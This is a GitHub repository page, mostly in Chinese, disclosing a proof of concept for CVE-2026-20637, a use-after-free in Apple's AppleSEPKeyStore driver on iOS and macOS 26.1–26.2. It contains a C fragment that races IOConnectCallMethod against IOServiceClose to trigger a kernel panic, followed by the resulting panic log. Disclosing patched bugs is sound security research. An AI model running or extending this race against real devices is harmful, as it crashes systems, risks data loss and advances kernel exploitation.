zeroxjf/CVE-2026-20637-AppleSEPKeyStore-UAF

GitHub: zeroxjf/CVE-2026-20637-AppleSEPKeyStore-UAF

这是一个针对 AppleSEPKeyStore 驱动程序中 Use-After-Free 漏洞的概念验证代码,旨在通过竞态条件触发内核恐慌以验证 CVE-2026-20637。

Stars: 50 | Forks: 6

# CVE-2026-20637: AppleSEPKeyStore Use-After-Free **[CVE-2026-20637](https://support.apple.com/en-us/126346)** | 作者: [Johnny Franks (@zeroxjf)](https://x.com/zeroxjf) ## 受影响版本 | | | |--|--| | iOS | 26.1 - 26.2 (已测试) | | macOS | 26.1 - 26.2 (已测试) | | 组件 | `com.apple.driver.AppleSEPKeyStore` | | 已修复 | iOS 26.3 / iPadOS 26.3 | **注意:** Apple 可能已在 26.2.1 - 26.3 之间逐步修复此问题,因此它可能无法在中间版本上运行。 ## 警告 **此代码会导致您的设备崩溃。** 运行这些工具会立即导致内核恐慌。 - 运行前请保存所有工作 - 未保存的文件可能会丢失数据 - 反复的恐慌可能导致文件系统损坏 - 对启动循环、数据丢失或变砖设备不承担责任 - 仅供安全研究使用 ## 漏洞 通过 AppleKeyStore 竞态条件触发的 IOCommandGate 释放后使用。8 个调用线程在选择器 0-15 上对 `IOConnectCallMethod` 进行高频率调用,同时 4 个关闭线程竞争 `IOServiceClose`,从而创建了一个在命令门被释放后仍对其进行访问的窗口。 ## 概念验证 ``` #define AKS_SERVICE_NAME "AppleKeyStore" #define NUM_CALLERS 8 #define NUM_CLOSERS 4 #define NUM_ITERATIONS 100000 static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL; // 8 caller threads: hammer IOConnectCallMethod (high priority) while (!done) { io_connect_t conn = atomic_load(&g_conn); if (conn == IO_OBJECT_NULL) continue; for (uint32_t sel = 0; sel < 16; sel++) { IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL); } } // 4 closer threads: race IOServiceClose (high priority) while (!done) { io_connect_t conn = atomic_load(&g_conn); if (conn == IO_OBJECT_NULL) continue; IOServiceClose(conn); atomic_store(&g_conn, IO_OBJECT_NULL); } // Main thread: 100k connections, no delay for (int i = 0; i < NUM_ITERATIONS; i++) { uint32_t type = (i % 4 == 0) ? 0x2022 : (i % 4 == 1) ? 0xbeef : (i % 4 == 2) ? 0x1337 : 0x4141; IOServiceOpen(svc, mach_task_self(), type, &conn); atomic_store(&g_conn, conn); // NO DELAY - tight race window } ``` ## 恐慌日志 ``` panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0) 72: 0xfffffffffffffe00 Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025; root:xnu-12377.42.6~55/RELEASE_ARM64_T8030 Panicked task 0xffffffe5b4f1e820: pid 956: Test Kernel Extensions in backtrace: com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA] @0xfffffff016a47020->0xfffffff016a84f9f ```
标签:0day, AppleSEPKeyStore, CVE-2026-20637, IOCommandGate, IOKit, iOS, Kernel Panic, POC, Race Condition, UAF, Use-After-Free, 内核利用, 内核漏洞, 概念验证, 漏洞分析, 竞态条件, 路径探测, 零日漏洞